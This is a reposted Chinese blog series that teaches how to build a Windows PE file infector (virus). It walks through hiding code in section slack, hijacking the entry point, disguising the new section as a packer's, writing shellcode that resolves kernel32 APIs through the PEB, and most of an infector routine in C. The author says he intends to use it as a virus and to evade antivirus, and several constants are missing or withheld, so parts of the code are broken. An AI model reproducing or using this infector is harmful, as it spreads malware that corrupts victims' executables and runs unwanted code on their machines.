现在的位置: 首页 > 综合 > 正文

PE感染

2017年10月13日 ⁄ 综合 ⁄ 共 15531字 ⁄ 字号 评论关闭

这篇文章转载自:Extreme's的空间

http://hi.baidu.com/wjsbljeluujrtwe/item/b1068854a4295ba9adc85750

http://hi.baidu.com/wjsbljeluujrtwe/item/dd5ae31387500f0fd1d66d52

http://hi.baidu.com/wjsbljeluujrtwe/item/66e533306e95f8352f20c44e

http://hi.baidu.com/wjsbljeluujrtwe/item/35ea870a1522bece75cd3c79

http://hi.baidu.com/wjsbljeluujrtwe/item/3e9faae2d45340a9c00d757c

PE感染(1):原理

一、代码的插入
由于为了提高文件从磁盘加载的效率,链接器会在生成可执行文件的时候将节对齐,即按照链接器的命令行设置,选一个是对齐大小的整数倍,且大于原始数据大小的最小值,作为链接出的节的大小。VC的链接器默认的对齐大小为0x200字节,即0.5KB。
因为对齐后,节末尾有可能不会被填满,留出了多余的空间。这些空间,存在的原因是使节大小是对齐大小的整数倍,被填为0,不会被程序使用。因此可以在这里插入自己的代码。用这种方式感染,最大的好处是几乎能做到不改变被感染文件的大小。而且,相比添加节的方法,这种方法更为隐蔽。
当然,空隙可能很小,也可能没有任何空隙。若空隙很小,可以将病毒代码分为多部分插入到各个节的空隙处,中间用jmp命令连接起来。若没有空隙,或用尽了空隙还不能插入全部代码,那就修改最后一个节的属性,加大其空间,再插入代码。

二、代码的执行
仅仅插入代码是不行的,还需要修改相关的数据,使被插入的代码能够执行。可以修改程序的入口点,指向你的代码。于是程序先执行你的代码,在安装病毒完毕后jmp到真正的入口;也可以修改程序的导入表,这样在调用Api时,你的代码就得到了执行。还可以在程序体中随机插入jmp到你的代码,但被感染程序的稳定性就不能得到保证了,而且你还需要一个“强壮”的反汇编引擎,防止指令被截断。

三、例外的处理
有些应用程序有自校验,比如安装包,WinRar自解压文件;有些PE文件不是我们希望感染的类型,如dll,sys。这些情况要予以排除。

PE感染(2):节空隙查找

为了查找节空隙,首先要对PE结构有一个大致的了解。在此我们只重点看看与节有关的结构体。全部结构体均存在于winnt.h中,可以自行查看。

每一个PE文件的头都以IMAGE_DOS_HEADER结构体开始:

typedef struct _IMAGE_DOS_HEADER {
     WORD e_magic;
     WORD e_cblp;
     WORD e_cp;
     WORD e_crlc;
     WORD e_cparhdr;
     WORD e_minalloc;
     WORD e_maxalloc;
     WORD e_ss;
     WORD e_sp;
     WORD e_csum;
     WORD e_ip;
     WORD e_cs;
     WORD e_lfarlc;
     WORD e_ovno;
     WORD e_res[4];
     WORD e_oemid;
     WORD e_oeminfo;
     WORD e_res2[10];
     LONG e_lfanew;
 } IMAGE_DOS_HEADER,*PIMAGE_DOS_HEADER;

这是个标准的DOS可执行文件的文件头。Windows为了使Win32应用程序在DOS下运行时显示出错信息,就做了这样的设计。我们只关注 e_lfanew 和 e_magic成员。e_magic 是通常所说的MZ头,用了确定该文件是否是可执行文件。e_lfanew则是偏移量,指向了提供真正的有用信息的结构体:IMAGE_NT_HEADERS:

1 typedef struct _IMAGE_NT_HEADERS {
2     DWORD Signature;
3     IMAGE_FILE_HEADER FileHeader;
4     IMAGE_OPTIONAL_HEADER OptionalHeader;
5 } IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS;

Signature为“PE\0\0”,也用来判断文件是否为有效PE文件。下面看 IMAGE_FILE_HEADER FileHeader;这个结构体如下所示:

typedef struct _IMAGE_FILE_HEADER {
     WORD Machine;
     WORD NumberOfSections;
     DWORD TimeDateStamp;
     DWORD PointerToSymbolTable;
     DWORD NumberOfSymbols;
     WORD SizeOfOptionalHeader;
     WORD Characteristics;
 } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

重点关注WORD NumberOfSections;这个成员告诉了我们该PE文件有多少个节。因为节表顺次排列在IMAGE_NT_HEADERS后,所以我们只能通过NumberOfSections确定要遍历多少个节表。
接下来看IMAGE_OPTIONAL_HEADER OptionalHeader;PE的很多有用信息都被这个结构体描述。

typedef struct _IMAGE_OPTIONAL_HEADER {
     WORD Magic;
     BYTE MajorLinkerVersion;
     BYTE MinorLinkerVersion;
     DWORD SizeOfCode;
     DWORD SizeOfInitializedData;
     DWORD SizeOfUninitializedData;
     DWORD AddressOfEntryPoint;
     DWORD BaseOfCode;
     DWORD BaseOfData;
     DWORD ImageBase;
     DWORD SectionAlignment;
     DWORD FileAlignment;
     WORD MajorOperatingSystemVersion;
     WORD MinorOperatingSystemVersion;
     WORD MajorImageVersion;
     WORD MinorImageVersion;
     WORD MajorSubsystemVersion;
     WORD MinorSubsystemVersion;
     DWORD Reserved1;
     DWORD SizeOfImage;
     DWORD SizeOfHeaders;
     DWORD CheckSum;
     WORD Subsystem;
     WORD DllCharacteristics;
     DWORD SizeOfStackReserve;
     DWORD SizeOfStackCommit;
     DWORD SizeOfHeapReserve;
     DWORD SizeOfHeapCommit;
     DWORD LoaderFlags;
     DWORD NumberOfRvaAndSizes;
     IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
 } IMAGE_OPTIONAL_HEADER,*PIMAGE_OPTIONAL_HEADER;

FileAlignment很重要,表示文件的对齐大小,直接决定着节的大小。但这是链接器关心的成员,我们只略作了解。

最核心的结构体就是节表,紧跟在IMAGE_NT_HEADERS后面,数量由刚刚提到的NumberOfSections确定。表示如下:

typedef struct _IMAGE_SECTION_HEADER {
     BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
     union {
         DWORD PhysicalAddress;
         DWORD VirtualSize;
     } Misc;
     DWORD VirtualAddress;
     DWORD SizeOfRawData;
     DWORD PointerToRawData;
     DWORD PointerToRelocations;
     DWORD PointerToLinenumbers;
     WORD NumberOfRelocations;
     WORD NumberOfLinenumbers;
     DWORD Characteristics;
 } IMAGE_SECTION_HEADER,*PIMAGE_SECTION_HEADER;

Misc.VirtualSize表示该节没有对齐时的大小,SizeOfRawData表示该节对齐后的大小。于是用SizeOfRawData - Misc.VirtualSize - 1 就可以得到空隙的大小了。节的起始位置(在PE文件中),被PointerToRawData表示。千万不要和VirtualAddress混淆,那个表示节的起始位置被加载在内存后,相对于基地址的偏移量。VA表示内存中的位置,而PTRD表示文件的位置。可以得到下面的公式:

1 空隙大小 = SizeOfRawData - Misc.VirtualSize - 1;
2 节的起始点 = PointerToRawData;
3 空隙起始点 = PointerToRawData + Misc.VirtualSize;

源代码:(为了方便,定义了两个宏)

#include <windows.h>
 #include <stdio.h>
 
 #define TYPEMEMBER(v1, v2, v3) (((v1)(v2))->v3)
 #define ADDRCONV(v1, v2) ((PBYTE)(v2) + (DWORD)v1)
 
 char GetVoid(PVOID BaseAddr)
 {
     PVOID Pointer = BaseAddr;
     
     WORD SecNum;
     WORD Cnt;
     
     DWORD BlankAddr;
     DWORD BlankSize;
 
     PIMAGE_NT_HEADERS tmp;
     
     if (TYPEMEMBER(PIMAGE_DOS_HEADER, Pointer, e_magic) != IMAGE_DOS_SIGNATURE)
     {
         // Not a DOS file
         return 1;
     }
     
     // Pointer = PIMAGE_NT_HEADERS
     Pointer = ADDRCONV(TYPEMEMBER(PIMAGE_DOS_HEADER, Pointer, e_lfanew), BaseAddr);
     if (*(DWORD *)Pointer != IMAGE_NT_SIGNATURE)
     {
         // Not a PE file
         return 2;
     }
 
     SecNum = TYPEMEMBER(PIMAGE_NT_HEADERS, Pointer, FileHeader).NumberOfSections;
     
     // Pointer = PIMAGE_SECTION_HEADER
     Pointer = ADDRCONV(Pointer, sizeof(IMAGE_NT_HEADERS));
     for (Cnt = 0; Cnt < SecNum; Cnt++)
     {
         // No void
         if (TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, SizeOfRawData) < TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, Misc).VirtualSize + 1)
         {
             goto next;
         }
         if (TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, SizeOfRawData) == NULL)
         {
             goto next;
         }
         if (TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, SizeOfRawData) == NULL)
         {
             goto next;
         }
         if (TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, Misc).VirtualSize == NULL)
         {
             goto next;
         }
         
         // Oh yeah! Get the void now.
         BlankAddr = TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, PointerToRawData) + TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, Misc).VirtualSize;
         BlankSize = TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, SizeOfRawData) - TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, Misc).VirtualSize - 1;
         
         printf("SectionName:%s  BlankAddresss:%x BlankSize:%x\n", TYPEMEMBER(PIMAGE_SECTION_HEADER, Pointer, Name), BlankAddr, BlankSize);
 next:    Pointer = (PBYTE)Pointer + sizeof(IMAGE_SECTION_HEADER);
     }
     
     return 0;
 }
 
 void GetVoidPE(char *FileIn)
 {
     HANDLE hFile;
     HANDLE hMapping;
     PVOID BaseAddr;
     
     hFile = CreateFile(FileIn, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
     hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, 0);
     BaseAddr = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
     
     if (BaseAddr != NULL)
     {
         GetVoid(BaseAddr);
     }
     
     CloseHandle(hFile);
     CloseHandle(hMapping);
 }
 
 int main()
 {
     GetVoidPE("cmd.exe");
     return 0;
 }

使用GetVoidPE(文件路径)后,会打印出节的名称、该节中空隙的起始地址、长度。

注意:为了防止给某些人创造不和谐的机会,这只是利用文件映射显示节表的名称。之后的PE修改和这个大体相同,但代码光Copy是不能实现的。

PE感染(3):ShellCode编写

今天在家调试了一个下午,累死了。不过收获颇丰。现在,我们说说有关ShellCode的问题。PE感染时,我们将PE的OptionalHeader中的AddressOfEntryPoint修改为感染代码的入口点,最后在jmp回正确的入口点,或者直接CreateThread,创建原始入口点的线程,让用户不能发现PE被感染。
但是,做坏事一般要用到Api。但是我们在PE节空隙中插入的是ShellCode,对Api的调用会出问题的。一般的应用程序在调用Api时,对应的汇编是Call XXXX。而Call的地址是IAT(Import Address Table,导入表)。系统在PE加载时,会根据IMAGE_IMPORT_DESCRIPTOR结构体,将对应的动态链接库加载进PE领空,然后解析被加载的动态链接库的导出函数,经过运算,获得该函数加载进内存后的地址,最后将IAT中的对应项目填写为该地址。于是,我们可以简单地调用Api。
但是ShellCode不一样。由于各个操作系统的版本不同,kernel32的相关函数在内存中的地址也是不一样的。至于硬编码……无语……那么就解析PE吧!
先说几个经常出现的宏:
[Code]
#define TYPEMEMBER(v1, v2, v3) (((v1)(v2))->v3)
#define ADDRCONV(v1, v2) ((PBYTE)(v2) + (DWORD)v1)其中,为了最少地使用内存,我们定义的指针较少。所以,TYPEMEMBER是为了从繁杂的类型转换中脱身用的。(PS:大多数强制类型转换不需要CPU时间,编译器也不会创建缓存。直接是寄存器操作)而ADDRCONV是转换RVA用的。下面,可以开始解析导入表了。
我们首先通过解析导出表,获得GetProcAddress的地址。接下来,就可以用这个函数获得其余的函数了。
什么?GetProcAddress有两个参数?还要提供HMODULE?HMODULE从哪里来?先别着急。后面就提到。
为了解析kernel32的导出表,首先要获得kernel32的基址。这可以从PEB中获得。

[Code]
__asm
{
xor eax,eax
mov eax, dword ptr fs:[30h]
mov eax, dword ptr [eax+0ch]
mov esi, dword ptr [eax+1ch]
lodsd
mov ebx, dword ptr [eax+08h]
mov KrnlDllAddr,ebx
}
于是我们获得了Kernel32的基址,这也是Kernel32的HMODULE。接下来解析导出表。

[Code] //
// Get EAT
//

// Pointer = IMAGE_NT_HEADERS
Pointer = ADDRCONV(KrnlDllAddr, TYPEMEMBER(PIMAGE_DOS_HEADER, KrnlDllAddr, e_lfanew));
// Pointer = Export table
Pointer = ADDRCONV(KrnlDllAddr, TYPEMEMBER(PIMAGE_NT_HEADERS, Pointer, OptionalHeader).DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

NumberOfNames = TYPEMEMBER(PIMAGE_EXPORT_DIRECTORY, Pointer, NumberOfNames);
AddressOfNames = (PDWORD)ADDRCONV(KrnlDllAddr, TYPEMEMBER(PIMAGE_EXPORT_DIRECTORY, Pointer, AddressOfNames));

for (Cnt = 0; Cnt < NumberOfNames; ++Cnt)
{
//
// Use signature to find "GetProcAddress"
// Signature : "cA" => 0x4163
//

if (*(PWORD)((PBYTE)(ADDRCONV(KrnlDllAddr, AddressOfNames[Cnt])) + 6) == 0x4163)
{
// NumberOfNames = AddressOfFunctions
NumberOfNames = (DWORD)ADDRCONV(KrnlDllAddr, TYPEMEMBER(PIMAGE_EXPORT_DIRECTORY, Pointer, AddressOfFunctions));
// Cnt = AddressOfNameOrdinals
Pointer = (PVOID)ADDRCONV(KrnlDllAddr, TYPEMEMBER(PIMAGE_EXPORT_DIRECTORY, Pointer, AddressOfNameOrdinals));
MyGetProcAddress = (DefMyGetProcAddress)ADDRCONV(KrnlDllAddr, ((PDWORD)NumberOfNames)[((PUSHORT)Pointer)[Cnt]]);
break;;
}
}
该段代码首先获得了IMAGE_EXPORT_DIRECTORY。为了遍历表,我们先要熟悉该结构体中的几个重要成员。PE格式用语言描述过于麻烦,不如直接上代码。注意,各个变量均为RVA。例如0x222是GetProcAddress。那么 AddressOfNames[Index] => "GetProcAddress";AddressOfFunctions[AddressOfNameOrdinals[Index]]是真正函数的RVA。

然后遍历表,将导出符号名与特征码比较,确定当前函数即为我们需要的函数——GetProcAddress。在此,我们使用了特征码,而不是strcmp。如果用strcmp,会在导入表中加上MSVCRXX.DLL的导入项目,一切便前功尽弃了。
在确定当前函数的名称后,就需要获得函数在内存中的真实地址。用刚才介绍的方法,得到真实地址。接下来的问题是调用函数。返回的是一个指向函数的指针。因此先用typedef声明函数的参数、返回值、调用约定等,然后直接转换。
最后,就可以为所欲为啦!在此,我们举一个创建进程的例子:运行任务管理器
[Code]
MyWinExec= (DefWinExec)MyGetProcAddress((HMODULE)KrnlDllAddr, "WinExec");
MyWinExec("taskmgr.exe", SW_SHOW); 哈哈!分析到此完毕。我们看看效果。LoadPE上场:

没有导入表~运行运行试试:

[Src]下载:http://code.google.com/p/code-from-extreme/downloads/list

PE感染(4):ShellCode处理

首先声明,我用的是VS2010,因此使用不同版本IDE的同学注意了,您的设置可能和我的不一样。
大多数ShellCode都是由汇编写成的。但是我不会……其实,用C也是可以做ShellCode的,只不过要多一些处理步骤。既然用C容易写,那么费些功夫处理自然是理所应当的。
1、设置入口点
说明:
由于一般的应用程序使用了C-Runtime,所以入口点在CRT库中。由于加入了CRT库,指令变多,处理自然麻烦了。因此,ShellCode不应使用一些CRT函数(有些可以用)。既然没有用CRT,那么就不让CRT帮我们搭建平台了。
操作:
在ShellCode中加入以下内容:#pragma comment(linker, "/entry:YourEntryPoint")。别忘了,这是预编译指令,不要再末尾加上分号。
2、设置编译器、链接器参数
说明:
默认的Release模式的确大大降低了代码的体积,但一些点还是没有做到最佳。
操作:
(1)对着ShellCode的工程名称(不是解决方案)点击右键->属性,在右侧的TreeView中选择“链接器”进行设置。将“调试”中的“生成调试信息”置为“否”。(默认状态下,ShellCode的.data OR .rdata中会出现pdb文件的路径,体积变大了)(2)将“高级”中的“随机基址”置为“否”。(否则PE中会多出了重定位节,不但增大体积,而且难以继续处理)(3)切换到父级支点的“C/C++”,将“优化”中的“优化”置为“使大小最小化”,“优化大小或速度”置为“代码大小优先”。
3.处理字符串、static变量
说明:
如果没有将“随机地址”置为”否“,那么重定位节中会对所有的字符串进行描述——后面的处理就难以进行了。我们已经进行了设置,就很简单了。字符串、被static修饰的变量在.rdata节。直接将.rdata节合并到.text节。PS:一般将ShellCode需要,而无法直接获得,只能由感染器写入时数据(如原始的入口点)设为static变量。这样可以直接写入到ShellCode中。
操作:在ShellCode中加入以下预编译指令:#pragma comment(linker, "/merge:.rdata=.text")
4、提取ShellCode
说明:
制作是成功了,但是要将其提取,并以字符串的形式放在感染器中,ShellCode才能真正运行。直接用LordPE,把节”save to disk“。但链接器会按照设置,对ShellCode对齐。ShellCode的尾部会有N多Hex为00的无用东东。将ShellCode提取后,拿十六进制编辑工具去除尾部的00即可。我喜欢Hxd。很快(一次不读取全部数据,只读取当前屏幕的数据)。

PE感染(5):感染器编写

哈哈哈哈!今天写完了Infect感染器的感染功能(Alpha版)。配合ShellCode,已经可以成功感染PE文件了!后面还要对一些东西做特殊处理,例如安装包;也要针对杀软做些处理。由于代码有一定危险性,不会全部放码。不过如果您想研究技术,那么我相信对于您来说,补全应该很简单。(其实这个我也要用来做Virus用……嘿嘿,有点邪恶~)
言归正传。PE感染的基本原理,在第一章已经说过。经过考虑,我选择了添加节的办法。原因很简单,PE感染一般是全盘感染。如果使用插入缝隙的方法,感染的效率会很低。但节空隙查找也不是没有用:可以用来免杀——在节空隙中随机插入花指令,末尾一个jmp跳到我们的入口点。
接下来,我会对添加节的方法进行说明。PE文件的节的数目由NTHeader.FileHeader.NumberOfSections确定。还是对齐:由于PE文件的对齐,文件头和节一般都存有一定空隙。我们可以利用空隙,插入一个新的结构体,即IMAGE_SECTION_HEADER。然后将NumberOfSections域自增1即可。当然,IMAGE_SECTION_HEADER的成员也是要填写的。我们后面讲。
0、一些标识符的说明……这个最重要!

  1. BOOL FileSeek(HANDLE hFile, LONG Pos)
  2. {
  3.     if (SetFilePointer(hFile, Pos, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
  4.     {
  5.         return FALSE;
  6.     }
  7.     return TRUE;
  8. }
  9. BOOL FileRead(HANDLE hFile, LPVOID Buffer, DWORD BufferSize)
  10. {
  11.     DWORD dwTmp;
  12.     ReadFile(hFile, Buffer, BufferSize, &dwTmp, NULL);
  13.     if (dwTmp != BufferSize)
  14.     {
  15.         return FALSE;
  16.     }
  17.     return TRUE;
  18. }
  19. BOOL FileWrite(HANDLE hFile, LPVOID Buffer, DWORD BufferSize)
  20. {
  21.     DWORD dwTmp;
  22.     WriteFile(hFile, Buffer, BufferSize, &dwTmp, NULL);
  23.     if (dwTmp != BufferSize)
  24.     {
  25.         return FALSE;
  26.     }
  27.     return TRUE;
  28. }

1、做好准备工作。首先要打开文件,读取文件大小、关键的DOS头、NT头。当然,还要对PE的有效性进行验证。

  1. UINT InfectOneFile(PCHAR VictimPath)
  2. {
  3.     IMAGE_NT_HEADERS        NTHeader;
  4.     IMAGE_DOS_HEADER        DOSHeader;
  5.     IMAGE_SECTION_HEADER    LastSection;
  6.     IMAGE_SECTION_HEADER    NewSection = {};
  7.     UINT                    FuncRet = ;
  8.     DWORD                    PESize;
  9.     DWORD                    dwCnt;
  10.     PBYTE                    DataToWrite;
  11.     PBYTE                    CurrentData;
  12.     HANDLE                    hFile;
  13.     hFile = CreateFile(    VictimPath, 
  14.                         GENERIC_WRITE | GENERIC_READ, 
  15.                         , 
  16.                         NULL
  17.                         OPEN_EXISTING, 
  18.                         FILE_ATTRIBUTE_NORMAL, 
  19.                         NULL);
  20.     if (hFile == NULL)
  21.     {
  22.         return ERR_FILE_OPERATION;
  23.     }
  24.     //
  25.     // Get file size to prevent if the file is not portable software.
  26.     //
  27.     PESize = GetFileSize(hFile, NULL);
  28. #ifdef EnableSize
  29.     if (PESize < MIN_PESIZE || PESize > MAX_PESIZE)
  30.     {
  31.         FuncRet = ERR_FILE_SIZE;
  32.         goto Ret;
  33.     }
  34. #endif
  35.     //
  36.     // Read DOS header.
  37.     //
  38.     if (!FileRead(hFile, &DOSHeader, sizeof(IMAGE_DOS_HEADER)))
  39.     {
  40.         FuncRet = ERR_FILE_OPERATION;
  41.         goto Ret;
  42.     }
  43.     if (DOSHeader.e_magic != IMAGE_DOS_SIGNATURE)
  44.     {
  45.         FuncRet = ERR_IMAGE_INVALID;
  46.         goto Ret;
  47.     }
  48.     
  49.     //
  50.     // Read NT header.
  51.     //
  52.     if (!FileSeek(hFile, DOSHeader.e_lfanew))
  53.     {
  54.         FuncRet = ERR_FILE_OPERATION;
  55.         goto Ret;
  56.     }
  57.     if (!FileRead(hFile,&NTHeader, sizeof(IMAGE_NT_HEADERS)))
  58.     {
  59.         FuncRet = ERR_FILE_OPERATION;
  60.         goto Ret;
  61.     }
  62.     if (NTHeader.Signature != IMAGE_NT_SIGNATURE)
  63.     {
  64.         FuncRet = ERR_IMAGE_INVALID;
  65.         goto Ret;
  66.     }

2、验证PE的文件头。看看是否有足够的空间容纳新的IMAGE_SECTION_HEADER。要点是,SizeOfHeaders标识了节表的大小。如果新加后的节表总大小比SizeOfHeaders大……我认输!

  1.     //
  2.     // If there's no space to add a new entry of section header then give up.
  3.     //
  4.     if ((NTHeader.FileHeader.NumberOfSections + ) * sizeof(IMAGE_SECTION_HEADER) 
  5.         > NTHeader.OptionalHeader.SizeOfHeaders)
  6.     {
  7.         FuncRet = ERR_IMAGE_TOOSMALL;
  8.         goto Ret;
  9.     }
  10.     

3、填写新节。我们一般把自己的代码放到文件最后,以免覆盖原始PE的数据。为了使新节的代码能够正常工作,还需要获得最后的一个节点数据。于是将新节的项目进行填写。这里用自然语言表示。
NewSection.Characteristics = 可读可写可执行 + 这是代码。可写不是必要的属性。
NewSection.Name = 自己喜欢的名字,最好起得和某些壳的在加壳时添加的节的名字一样。这样可以掩人耳目。
NewSection.VirtualAddress = 上个节的VirtualAddress 加上 上个节对齐后的VirtualSize。因为这是节,自然是SectionAligement喽。
NewSection.Misc.VirtualSize = ShellCode大小。
NewSection.SizeOfRawData = ShellCode大小。
NewSection.PointerToRawData = ShellCode的起始位置。我们将数据写入到文件尾,所以是文件的大小。(不是说要获得文件大小么……现在有用了吧^_^)
最后,要将NT头调大一点,以容纳我们的新节的数据。

  1. NTHeader.OptionalHeader.SizeOfImage += ALIGN(SHELLCODE_SIZE, NTHeader.OptionalHeader.FileAlignment);
  2. NTHeader.OptionalHeader.SizeOfCode
    +=
     ALIGN(SHELLCODE_SIZE, NTHeader.OptionalHeader.SectionAlignment);

4、重定位!ShellCode中,有一些绝对跳转。而PE文件在加载时,会将节放在 ImageBase + Section.Misc.VirtualAddress处。所以要对ShellCode的代码重定位。这段代码是从LCCrypto中学来的。其实很简单,就是遍历ShellCode的每一处都按照地址看待,取其前5位(这样有时会不准,但ShellCode的大小一般都在0xFFF字节内吧~)。如果与ShellCode的基质吻合,则将其重定向。

  1.     for (CurrentData = DataToWrite, dwCnt = ; dwCnt <= SHELLCODE_SIZE; ++CurrentData, ++dwCnt)
  2.     {
  3.         if ((*((PDWORD)CurrentData) & ) == SHELLCODE_BASEADDR)
  4.         {
  5.             *((PDWORD)CurrentData) +=    NewSection.VirtualAddress 
  6.                                         + NTHeader.OptionalHeader.ImageBase 
  7.                                         - SHELLCODE_BASEADDR;
  8.         }
  9.     }

5、完成ShellCode。例如给ShellCode中写入入口点,以便跳转到原始入口点。我的ShellCode还有一些神秘数据……

  1.     ((PDWORD)DataToWrite)[] = THIS_IS_A_SECRET_I_CANT_SHOW_YOU;
  2.     ((PDWORD)DataToWrite)[] =    NTHeader.OptionalHeader.ImageBase + 
  3.                                 NTHeader.OptionalHeader.AddressOfEntryPoint;

6、写入关键数据。包括NT头,IMAGE_SECTION_HEADER。当然,别忘了修改入口点。

  1.     //
  2.     // Write back section header.
  3.     //
  4.     if (!FileSeek(hFile, NTHeader.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER)
  5.                         + sizeof(IMAGE_NT_HEADERS) 
  6.                         + DOSHeader.e_lfanew))
  7.     {
  8.         FuncRet = ERR_FILE_OPERATION;
  9.         goto Ret;
  10.     }
  11.     if (!FileWrite(hFile,&NewSection, sizeof(IMAGE_SECTION_HEADER)))
  12.     {
  13.         FuncRet = ERR_FILE_OPERATION;
  14.         goto Ret;
  15.     }
  16.     //
  17.     // Write back NT header.
  18.     //
  19.     ++NTHeader.FileHeader.NumberOfSections;
  20.     NTHeader.OptionalHeader.AddressOfEntryPoint = NewSection.VirtualAddress + SHELLCODE_ENTRY;
  21.     if (!FileSeek(hFile, DOSHeader.e_lfanew))
  22.     {
  23.         FuncRet = ERR_FILE_OPERATION;
  24.         goto Ret;
  25.     }
  26.     if (!FileWrite(hFile,&NTHeader, sizeof(IMAGE_NT_HEADERS)))
  27.     {
  28.         FuncRet = ERR_FILE_OPERATION;
  29.         goto Ret;
  30.     }
  31. Ret:
  32.     CloseHandle(hFile);
  33.     return FuncRet;
  34. }

哦……搞定了。回首发布的代码……几乎全写上了!
源代码下载地址:http://code.google.com/p/code-from-extreme/downloads/

抱歉!评论已关闭.